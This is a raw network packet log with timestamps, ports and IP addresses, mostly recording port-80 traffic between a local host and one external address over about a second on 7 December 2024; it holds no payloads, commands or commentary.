Dec 7, 2024 22:40:44.931109905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.931152105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.931962967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.932012081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.932039022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.932081938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.975864887 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.975930929 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.975996017 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.976229906 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.976236105 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.976253033 CET	49806	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.976258039 CET	443	49806	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.979223013 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.979243994 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.979334116 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.979512930 CET	49811	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:44.979532003 CET	443	49811	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:44.988234997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.988276958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.988297939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.988315105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.988620996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.988671064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.988712072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.988753080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.989674091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.989711046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.989725113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.989747047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.990515947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.990565062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.990633011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.990679026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.991450071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.991501093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.991569042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.991611958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.992388010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.992436886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.992453098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.992497921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.993345976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.993396997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.993431091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.993473053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.994288921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.994340897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.994381905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.994426012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.995239019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.995296001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.995340109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.995383978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.996171951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.996218920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.996259928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.996305943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.997116089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.997170925 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.997205973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.997246981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.998065948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.998133898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.998171091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.998215914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.998984098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.999033928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.999078035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.999121904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:44.999918938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:44.999969006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.000060081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.000106096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.000895977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.000942945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.000993967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.001039982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.001872063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.001919985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.001946926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.001986980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.002769947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.002820969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.002860069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.002903938 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.003707886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.003757954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.003817081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.003861904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.004667044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.004714012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.004765987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.004808903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.005616903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.005665064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.005697966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.005738974 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.006541967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.006589890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.006665945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.006711960 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.007477045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.007524967 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.007618904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.007663012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.008465052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.008508921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.008690119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.008737087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.009449959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.009497881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.009567976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.009614944 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.010369062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.010415077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.010440111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.010481119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.011271000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.011322975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.011357069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.011404991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.012267113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.012320042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.012336016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.012376070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.013181925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.013246059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.013304949 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.013350010 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.014090061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.014136076 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.014204979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.014250994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.015050888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.015103102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.015141964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.015182972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.015980959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.016025066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.016083002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.016130924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.016938925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.016983032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.017064095 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.017108917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.017891884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.017939091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.017998934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.018039942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.018822908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.018871069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.018937111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.018975973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.019799948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.019849062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.019905090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.019954920 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.020729065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.020771980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.020832062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.020881891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.021701097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.021749973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.021775961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.021821976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.022608995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.022655964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.022691965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.022732019 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.023597956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.023644924 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.023802042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.023849964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.024498940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.024549007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.024621010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.024669886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.025450945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.025499105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.025530100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.025573969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.026396036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.026444912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.026505947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.026560068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.027327061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.027378082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.027417898 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.027462006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.028310061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.028377056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.120579958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.120636940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.120644093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.120671988 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.121010065 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.121056080 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.121133089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.121177912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.121968985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.122013092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.122134924 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.122180939 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.122910976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.122956991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.123030901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.123074055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.123874903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.123920918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.123939037 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.123974085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.124865055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.124917030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.124979973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.125022888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.125745058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.125793934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.125874043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.125916958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.126691103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.126740932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.126775026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.126816034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.127640963 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.127688885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.127784967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.127867937 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.128573895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.128619909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.128698111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.128742933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.180159092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.180203915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.180285931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.180305004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.180579901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.180630922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.180686951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.180731058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.181504965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.181555986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.181597948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.181638956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.182472944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.182521105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.182555914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.182600975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.183499098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.183558941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.183578968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.183623075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.184382915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.184442997 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.184513092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.184557915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.185276985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.185327053 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.185389996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.185431004 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.186260939 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.186307907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.186372995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.186410904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.187223911 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.187275887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.187316895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.187359095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.188170910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.188224077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.188261032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.188308001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.189062119 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.189112902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.189230919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.189279079 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.190038919 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.190094948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.190149069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.190195084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.191005945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.191060066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.191127062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.191173077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.191929102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.191976070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.192012072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.192056894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.192869902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.192919016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.193061113 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.193110943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.193888903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.193948984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.193999052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.194045067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.195269108 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.195338964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.195379019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.195422888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.196129084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.196180105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.196188927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.196221113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.196897984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.196953058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.197041035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.197088957 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.197629929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.197674990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.197675943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.197710991 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.198502064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.198554993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.198609114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.198657990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.199456930 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.199517965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.199569941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.199615955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.200442076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.200490952 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.200531960 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.200573921 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.201354027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.201402903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.201437950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.201484919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.202334881 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.202383995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.202404022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.202440977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.203294992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.203350067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.203387022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.203428030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.204164982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.204212904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:45.204294920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:45.204340935 CET	49790	80	192.168.2.6	185.215.113.206
